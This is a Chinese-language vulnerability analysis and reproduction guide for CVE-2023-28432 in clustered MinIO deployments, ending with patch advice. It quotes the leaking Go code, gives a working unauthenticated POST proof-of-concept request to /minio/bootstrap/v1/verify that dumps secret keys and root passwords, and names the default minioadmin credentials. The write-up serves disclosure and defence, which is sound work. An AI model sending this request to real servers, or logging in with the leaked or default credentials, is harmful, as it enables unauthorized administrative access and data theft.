前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
一、漏洞原理
漏洞简述
MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务,与 Amazon S3 API 兼容,可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统,可以存储大量数据,并提供高速的数据读写能力。MinIO采用分布式架构,可以在多个节点上运行,实现数据的分布式存储和处理。
MinIO 存在信息泄露漏洞,在集群部署的MinIO中,未经身份认证的远程攻击者通过发送特殊HTTP请求即可获取所有环境变量,其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD,造成敏感信息泄露,最终可能导致攻击者以管理员身份登录MinIO。
漏洞影响范围
供应商:MinIO
产品:MinIO
确认受影响版本:RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z
修复版本:RELEASE.2023-03-20T20-16-18Z
漏洞分析
本漏洞的漏洞点来自MinIO系统中集群部署配置于/minio/bootstrap路径下,相关代码对HTTP请求的验证缺失,造成信息泄露。
在官方Github的安全推送中,首先是影响及补丁信息:
在补丁部分,可以看到补丁简述,补丁主要针对bootstrap部分对集群节点间进行token验证。
之后看到漏洞点相关代码
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
主要是两个函数 VerifyHandler() 和 getServerSystemCfg() 。
VerifyHandler() 函数主要作用为验证处置。
其中CFG字段涉及下列getServerSystemCfg()函数,该函数获取服务器系统CFG信息。
变量envs为List类型,为MINIO_。变量envValues存放envs的值。
之后循环处理将envs输出于envK中。最后返回结构体ServerSystemConfig,包含key:MinioEndpoints和MinioEnv。
可以看到与漏洞泄露涉及的MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD相对应。
根据官方说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。
另外,如果开启动Minio时没有设置MINIO_ROOT_USER和MINIO_ROOT_PASSWORD,那么Minio使用默认账号密码minioadmin,这时候再作信息泄露验证会发现读取不到管理员的账号密码,则推断存在默认口令。
二、漏洞复现实战
漏洞复现
MinIO 官方下载已更新至 RELEASE.2023-03-22T06-36-24Z,无法复现
主要可以采用Github旧版本或相关资产。
POC:
POST /minio/bootstrap/v1/verify HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Upgrade-Insecure-Requests: 1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
根据POC改包,可以看到存在信息泄露,包含内网IP泄露等
另外存在POC脚本。可以检测漏洞情况
链接:
https://github.com/MzzdToT/CVE-2023-28432
漏洞修复
目前官方已发布安全修复版本,建议更新至RELEASE.2023-03-20T20-16-18Z及以上版本版本
下载链接:https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z
另外,存在MinIO自更新项目,会更新至最新版本
链接:
https://github.com/minio/selfupdate
结束语
本文主要介绍了CVE-2023-28432 MinIO信息泄露漏洞的原理分析及复现过程,漏洞主要利用在集群部署的MinIO中,未经身份认证的远程攻击者通过发送特殊HTTP请求即可获取所有环境变量,其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD,造成敏感信息泄露,最终可能导致攻击者以管理员身份登录MinIO。